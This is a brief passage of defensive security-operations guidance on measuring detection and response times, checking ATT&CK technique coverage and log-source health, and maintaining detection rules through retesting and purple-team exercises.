Mean time to detect measures delay from malicious activity starting to detection. Mean time to respond tracks the team's defined response interval. Keep that definition consistent when comparing periods. Review tested coverage of priority ATT&CK techniques alongside source health, missing fields, parse failures, and backlogs. A lower alert count after a parser breaks is a monitoring failure.

Retest after source or parser changes, review expiring exceptions, retire obsolete rules, and add detections for newly relevant behaviors. Purple-team exercises and breach-and-attack simulations can reveal gaps before a real incident does. Store changes and test results with the rule so the next review can see why its current boundaries exist.